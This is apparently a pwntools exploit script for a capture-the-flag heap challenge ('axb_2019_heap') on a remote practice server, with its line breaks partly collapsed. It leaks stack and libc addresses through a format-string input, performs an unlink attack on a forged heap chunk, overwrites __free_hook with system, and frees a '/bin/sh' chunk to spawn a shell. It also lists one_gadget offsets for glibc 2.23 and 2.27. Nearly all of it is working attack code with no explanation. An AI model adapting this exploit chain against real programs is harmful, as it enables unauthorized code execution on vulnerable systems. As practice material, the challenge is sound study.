from pwn import * from LibcSearcher import* context.log_level='debug'
pe='./axb_2019_heap' libc_23='./libc-2.23.so' libc_27='./libc-2.27.so' ip,port = 'node3.buuoj.cn',27128 elf=ELF(pe) libc=ELF(libc_23)
if args['REMOTE']: p = remote(ip,port) else: p = process(pe)
def get_one(): if(arch == '64'): if(version == '2.23'): one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
if (version == '2.27'): one = [0x4f365, 0x4f3c2, 0x10a45c]
return one
def add(idx,size,content): p.sendlineafter('>>','1') p.sendlineafter('):',str(idx)) p.sendlineafter('size:',str(size)) p.sendlineafter('content:',content) def delete(idx): p.sendlineafter('>>','2') p.sendlineafter('index:',str(idx)) def edit(idx,content): p.sendlineafter('>>','4') p.sendlineafter('index:',str(idx)) p.sendlineafter('content: \n',content) def show(): p.sendlineafter('>>','3')
def main(): p.recvuntil('name: ') p.sendline('%11$p%15$p') p.recvuntil('Hello, ') base=int(p.recv(14),16)-0x1186 libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240 system=libcbase+libc.sym['system'] free_hook=libcbase+libc.sym['__free_hook'] bss=base+0x202060 success('base:' + hex(base)) success('bss:' + hex(bss)) success('free_hook:' + hex(free_hook)) add(0,0x98,'a'*0x98) add(1,0x98,'bbbb') add(2,0x90,'cccc') add(3,0x90,'/bin/sh\x00') gdb.attach(p) payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+'\xa0' edit(0,payload) delete(1) edit(0,p64(0)*3+p64(free_hook)+p64(0x10)) edit(0,p64(system)) delete(3) p.interactive()
if __name__ == '__main__': main()
|